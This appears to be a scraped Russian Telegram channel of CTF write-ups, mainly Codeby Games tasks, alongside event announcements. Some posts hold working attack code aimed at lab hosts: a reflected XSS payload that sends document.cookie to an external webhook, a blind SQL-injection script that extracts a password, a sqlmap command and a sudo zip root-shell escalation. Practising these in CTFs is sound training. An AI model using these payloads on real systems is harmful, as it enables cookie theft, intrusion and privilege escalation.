Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#WEB Клиент всегда прав
Reflected XSS

Ссылка на задание 🚩

От: @exited3n, автор канала @pt_soft


import requests
import json

webhook_api_url = 'https://webhook.link/api/new'

json_hook = json.loads(requests.get(webhook_api_url).text)
webhook_url = json_hook['routes']['webhook']
webhook_inspect_url = json_hook['routes']['inspect'].get('html')
webhook_inspect_json = json_hook['routes']['inspect'].get('api')
webhook = requests.post(f'http://62.173.140.174:16013/?report=http://62.173.140.174:16013/?search=<script>document.location="{webhook_url}?"%2bdocument.cookie</script>')

webhook_data = requests.get(webhook_inspect_url)
webhook_json = json.loads(requests.get(webhook_inspect_json).text)
flag = json.dumps(webhook_json['callbacks'][0]['args']['flag'], indent=4)

print(f'Open URL in your browser: {webhook_inspect_url}')
print(flag)

#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
👍52
Друзья, коллеги, подписчики.

Недавно наш канал перевалил за 1000 подписчиков и мы сказали: Дальше — больше.

Время пришло!

Мы открываем регистрацию участников на HACK OSINT CTF 2024.

Организаторы мероприятия:

- Northern Palmyra;
- NullByte | Open Security;

Призовой фонд мероприятия составляет 2600$, а также множество цифровых наград от различных телеграм-сервисов и ещё несколько приятных сюрпризов.

Зарегистрироваться можно на hackosint.net

Добавляйтесь в телеграм-группу мероприятия, чтобы быть на связи и не пропускать важных новостей.

Побороться за награды можно как в команде, так и в индивидуальном зачете !


Северная Пальмира & Intelligence guild

#Intelligence_event
4🤔1
Привет кибер-котлеты!

После пхд можно выдохнуть и возвращаться в нормальный режим работы. Кстати, как вам пхд? Пиши в комментах. Вот вам райтапчик по новой таске Codeby

#pwn Имя от @Delinester

Описание от автора и ссылка на таск:
https://skillful-warrior-e87.notion.site/Name-PWN-Writeup-by-Delinester-fd5a8b9206534f95b990b9d50ce51fb5

#codebygames
👍4🔥21
Forwarded from VKACTF [Новости]
This media is not supported in your browser
VIEW IN TELEGRAM
⚔️Прошел ровно год с предыдущих соревнований VKACTF, и мы вновь возвращаемся на поля киберсражений⚔️

🚩 Итак, всероссийские соревнования VKACTF 2024 стартуют 1 июня в 18:00 и продлятся 24 часа

🏆Соревнования будут проводиться в двух зачетах: общем и специальном

🇷🇺В общем зачете могут участвовать студенты из России
🪖В специальном зачете - курсанты ВУЗов Силовых структур РФ

🏅Победители и призеры соревнований будут награждены ценными призами, о которых мы расскажем чуть позже!

👥Количество участников в команде - до 5 человек

✏️Регистрация на платформе открывается 25 мая

Канал с новостями: @vkactf
🗣Чат поддержки: @vkactf_chat
4
#crypto
Нулевой шифр
От
@Max_RSC (ТОП-10 на платформе Codeby Games)

Ссылка на задание

Для решения таска потребуется уверенный навык программирования на Python. Надеюсь, это понятно.

Сначала заглянем в request.txt. В GET-запросе видим параметр FLAG со значением в виде строки, обернутой в base64:

FLAG=lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==

Скопируем эту строку куда-нибудь — еще пригодится. Про файл request.txt можно забыть, больше он не понадобится.

Идем в sourceCode.txt.
cipher = Cipher(algorithms.ARC4(hashed_key), mode=None, backend=default_backend())

Эта строка сообщает нам о том, что используется алгоритм шифрования RC4, он же ARC4, он же Rivest Cipher 4. По сегодняшним меркам этот алгоритм шифрования считается устаревшим и больше не является криптографически безопасным.
FLAG = '******{***********************************}'.encode()
key = FLAG[:6]

Эти строки сообщают нам о том, что ключ — это первые шесть символов флага. Другими словами, CODEBY.
hashed_key = hashlib.sha256(key).digest()[:16]

Эта строка сообщает нам о том, что ключ хешируется, но для шифрования используются лишь первые 16 байт ключа. Мы получили всю необходимую информацию и теперь можем с легкостью расшифровать флаг. Кстати, не рекомендую делать это посредством онлайн-декодера — скорее всего, у вас ничего не получится, да и необходимости в этом нет. Все что нужно сделать — это лишь немного переписать код. Приступаем:
key = b'CODEBY'
FLAG= base64.b64decode('lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==')

Третью, четвертую и пятую строки можно скопировать из функции без изменений.

Прилагаю скрипт целиком с моими комментариями:
# Подключаем нужные библиотеки (или устанавливаем, если их нет)
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64
import hashlib

# Декодируем флаг из base64
FLAG= base64.b64decode('lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==')
# Обратите внимание, что ключ — это байтовая строка
key = b'CODEBY'
# Хешируем ключ, но используем лишь его первые 16 байт
hashed_key = hashlib.sha256(key).digest()[:16]
# Указываем, что хотим использовать алгоритм шифрования ARC4
cipher = Cipher(algorithms.ARC4(hashed_key), mode=None, backend=default_backend())
encryptor = cipher.encryptor()
# Передаем флаг на вход функции, которая производит расшифровку
ct = encryptor.update(FLAG) + encryptor.finalize()
# Печатаем флаг
print(ct)

Выполняем скрипт и получаем флаг.

Рекомендую не бездумно копировать скрипт, а подумать над прочитанным и написать скрипт самостоятельно. Помните, что цель решения таска — это не получить флаг и чуть-чуть подняться в рейтинге, а научиться чему-нибудь новому.

#codebygames
11🔥1
Forwarded from Purple Chronicles (Hunter Biden)
Разбор задания "Точка невозврата" с платформы Codeby Games🚩
https://telegra.ph/Codeby-Games-Point-of-no-return-writeup-09-10

Сегодня продолжим тему race condition, но научимся использовать другие средства для эксплуатации уязвимости. В этот раз для решения задания средней сложности напишем Python-скрипт 👩‍💻 и познакомимся с расширением Turbo Intruder для Burp Suite😈

#пентест #web #race
Please open Telegram to view this post
VIEW IN TELEGRAM
🫡31❤‍🔥1🔥1👏1
Занимаюсь благотворительностью! Задонатил в призовой фонд HackOsint, который пройдет 21.06.2024 немножко крипто-монет

Начинающим кибер-котлеткам я советую участвовать и прокачивать скиллы

Профессиональных кибер-котлет я прошу по возможности помогать малышам своими знаниями, а так же организаторам чеканной монетой

Лучшее, что мы можем делать это то, что мы сделали сами

Думаю райтапчики с hackosint будут появляться в моем канале. Так что никто не останется без райтапчиков

С оргами на связи 📞

https://t.me/hackOSINTCTF
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍1
Channel name was changed to «Райтапы по CTF{2024}»
#crypto
Веселый RSA
От @Max_RSC (ТОП-10 на платформе Codeby Games)

Ссылка на задание

Даны три шифртекста, которые представляют собой одно и то же сообщение. Подсказка намекает, что Боб плохо разбирается в RSA, поэтому при шифровании допустил серьезную ошибку. Действительно, мы видим, что вместо стандартной экспоненты e = 65537 он использовал значения 5, 7 и 13, a модули n1, n2 и n3 настолько малы, что с легкостью раскладываются на множители. Это можно назвать критической уязвимостью.

Если мы возьмем первое по счету сообщение и попробуем вычислить приватную экспоненту d, то поймем, что это невозможно:
>>> d = pow(e, -1, phi)
Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: base is not invertible for the given modulus

На простом языке это означает, что в процессе шифрования пользователь допустил фатальную ошибку.

Возьмем второе по счету сообщение и попробуем найти приватную экспоненту d – то же самое:
>>> d = pow(e, -1, phi)
Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: base is not invertible for the given modulus

Возьмем третье по счету сообщение. Похоже, что это сообщение было зашифровано правильно, а значит, можно вычислить d:
>>> d = pow(e, -1, phi)
>>> d
# 288613

После нахождения d мы с легкостью расшифровываем шифртекст:
>>> message = pow(c, d, n) 

Мы получили трехзначное число, которое, разумеется, я вам не покажу, чтобы вы не жульничали, а решили таск самостоятельно и следовательно, научились чему-нибудь новому.

Считаем от этого числа хеш-сумму по алгоритму SHA256:
>>> from hashlib import sha256
>>> result = sha256(str(message).encode()).hexdigest()

Получившуюся строку обoрачиваем в CODEBY и сдаем флаг.

#codebygames
9🔥2
Forwarded from Purple Chronicles (Hunter Biden)
Эксплуатация SSTI в приложениях на Flask+Jinja2🐍
https://telegra.ph/SSTI-exploitation-05-02

В этой статье мы поговорим о том, что такое SSTI, как найти эту уязвимость, верифицировать шаблонизатор и сконфигурировать полезную нагрузку для получения RCE!😤
Мы также познакомимся с инструментами, помогающими автоматизировать процесс эксплуатации, которые можно смело забирать в свой арсенал, а для закрепления полученных знаний решим таск с платформы CodeBy Games🚩
#пентест #web #ssti
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥2👏1
#криптография
Искусство войны от @exited3n, автора канала @pt_soft
Сложность: легкий
Ссылка на задание


from Crypto.Util.number import long_to_bytes


def inv(a, m):
m0 = m
x0 = 0
x1 = 1

if m == 1:
return 0

while a > 1:
q = a // m
t = m
m = a % m
a = t
t = x0
x0 = x1 - q * x0
x1 = t

if x1 < 0:
x1 = x1 + m0

return x1


def findMinX(num, rem, k):
prod = 1
for i in range(0, k):
prod = prod * num[i]
result = 0

for i in range(0, k):
pp = prod // num[i]
result = result + rem[i] * inv(pp, num[i]) * pp

return result % prod


rem = [7, 4, 9]
num = [17, 23, 37]
k = len(num)
a = findMinX(num, rem, k)
cipher_text = 25183524468752482838730336135334402772668615375346038
flag = cipher_text ^ a

print("a ==", a)
print(long_to_bytes(flag).decode('UTF-8'))


#codebygames
🔥81🤬1
Forwarded from wr3dmast3r vs pentest
Знакомимся с DOOM DOM Invader, или как найти DOM-XSS на Habr во время написания статьи 😔

Сегодня поговорим про инструмент DOM Invader, узнаем некоторые причины появления DOM-уязвимостей и проанализируем несколько примеров уязвимого JavaScript-кода 🖼️

Также вы узнаете, какой потенциальный импакт можно показывать команде BugBounty для получения выплаты за Client-Side уязвимость 👀

Подробнее
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥21
Друзья, я просто хочу напомнить

Присылайте ваши райтапы
Повышайте свою цитируемость

Поверьте, потом это вам зачтется, не стесняйтесь
👍131
Forwarded from KarKarichCTF
#квесты
Секретный кабинет от @karkarich_1, автора канала @KARkarich37
Сложность: легкий
Ссылка на задание

В задании дается хост и два порта: на одном из них веб сервис, а на другом ssh. Смотрим на сервис и видим форму для отправки пароля при этом форма отправляет еще и имя пользователя “josh”. Тогда запустим sqlmap и посмотрим, что он выводит. Sqlmap говорит, что password неуязвим, а вот username да!
sqlmap -u "http://62.173.140.174:28780/login.php" --data "username=josh&password=asd" --method POST 

Получается залогинится под Джоном, но на страничке все равно ничего нет( Тогда попробуем извлечь из БД его пароль, используя LIKE, чтобы залогиниться через ssh. Я это делал вот этим скриптом:
import requests as r
from string import printable
s = r.Session()
r0 = s.get("http://62.173.140.174:28780/login.php")
r1 = s.post("http://62.173.140.174:28780/login.php", data={"username":"josh", "password":"a"}).text
pas = ''
f = 1
while f:
f = 0
for i in printable:
if i in ["%", "_"]: continue
r2 = s.post("http://62.173.140.174:28780/login.php", data={"username":f"josh' AND password LIKE '{pas+i}%' #", "password":"a"}).text
if r2 != r1:
pas+=i
f = 1
break
print(pas)
В итоге получаем хэш пароля и через crackstation.net подбираем сам пароль. Далее подключаемся по ssh и сразу прописываем
sudo -l

Видим, что можем выполнять команду zip от рута. Далее повышаем привилегии и все!
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
🔥6🤯2
Forwarded from infosec
🌐 Wi-Fi CheatSheet.

• Очень объемное руководство, которое поможет вам разобраться в основах работы Wi-Fi:

➡️ https://www.wiisfi.com

#CheatSheet #WiFi
Please open Telegram to view this post
VIEW IN TELEGRAM
Вдруг кто забыл, стартовал HackOSINT
Удачной охоты!

https://platform.hackosint.net/
👍8
На связи с Сашкой
Когда нашел всё:
Слитые пароли
Все никнеймы
Все айди
Админки
Почтовые клиенты
Мертвого слона
Обошёл все проверки на брут

Но не флаг.